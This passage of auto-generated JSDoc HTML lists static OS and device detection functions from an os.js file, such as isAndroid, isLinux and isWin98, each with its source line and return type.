class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line329\">line 329</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">string</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isAndroid\"><span class=\"type-signature\">(static) </span>isAndroid<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line208\">line 208</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isAros\"><span class=\"type-signature\">(static) </span>isAros<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line238\">line 238</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isBeOS\"><span class=\"type-signature\">(static) </span>isBeOS<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line232\">line 232</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isBlackBerry\"><span class=\"type-signature\">(static) </span>isBlackBerry<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line214\">line 214</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIpad\"><span class=\"type-signature\">(static) </span>isIpad<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line190\">line 190</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIphone\"><span class=\"type-signature\">(static) </span>isIphone<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line184\">line 184</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isIpod\"><span class=\"type-signature\">(static) </span>isIpod<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line196\">line 196</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isLinux\"><span class=\"type-signature\">(static) </span>isLinux<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line142\">line 142</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isMacintosh\"><span class=\"type-signature\">(static) </span>isMacintosh<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line148\">line 148</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isNokia\"><span class=\"type-signature\">(static) </span>isNokia<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line202\">line 202</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isOpenBSD\"><span class=\"type-signature\">(static) </span>isOpenBSD<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line130\">line 130</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isOsxLeopard\"><span class=\"type-signature\">(static) </span>isOsxLeopard<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line172\">line 172</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isOsxMavericks\"><span class=\"type-signature\">(static) </span>isOsxMavericks<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line160\">line 160</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isOsxSnowLeopard\"><span class=\"type-signature\">(static) </span>isOsxSnowLeopard<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line166\">line 166</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isOsxYosemite\"><span class=\"type-signature\">(static) </span>isOsxYosemite<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line154\">line 154</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isQNX\"><span class=\"type-signature\">(static) </span>isQNX<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line226\">line 226</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isSunOS\"><span class=\"type-signature\">(static) </span>isSunOS<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line136\">line 136</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWebOS\"><span class=\"type-signature\">(static) </span>isWebOS<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line220\">line 220</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin10\"><span class=\"type-signature\">(static) </span>isWin10<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line124\">line 124</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin2000\"><span class=\"type-signature\">(static) </span>isWin2000<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line76\">line 76</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin2000SP1\"><span class=\"type-signature\">(static) </span>isWin2000SP1<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line82\">line 82</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin311\"><span class=\"type-signature\">(static) </span>isWin311<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line40\">line 40</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin7\"><span class=\"type-signature\">(static) </span>isWin7<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line106\">line 106</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin8\"><span class=\"type-signature\">(static) </span>isWin8<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line112\">line 112</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin81\"><span class=\"type-signature\">(static) </span>isWin81<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line118\">line 118</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin95\"><span class=\"type-signature\">(static) </span>isWin95<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line52\">line 52</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWin98\"><span class=\"type-signature\">(static) </span>isWin98<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line64\">line 64</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWinCE\"><span class=\"type-signature\">(static) </span>isWinCE<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line58\">line 58</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWinME\"><span class=\"type-signature\">(static) </span>isWinME<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"os.js.html\">os.js</a>, <a href=\"os.js.html#line70\">line 70</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWinNT4\"><span class=\"type-signature\">(static) </span>isWinNT4<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a 